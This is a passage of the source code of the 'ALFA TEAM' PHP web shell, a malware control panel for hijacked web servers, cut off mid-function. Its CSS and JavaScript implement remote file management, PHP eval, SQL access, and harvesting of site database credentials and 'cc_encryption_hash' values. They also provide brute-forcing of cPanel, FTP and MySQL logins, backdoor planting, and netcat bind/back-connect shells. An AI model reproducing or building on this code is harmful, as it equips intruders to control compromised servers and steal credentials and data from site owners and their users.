.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.alfaCssLoadColors().'
</style>';
echo "<script type='text/javascript'>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."';
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?'true':'false').";";?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 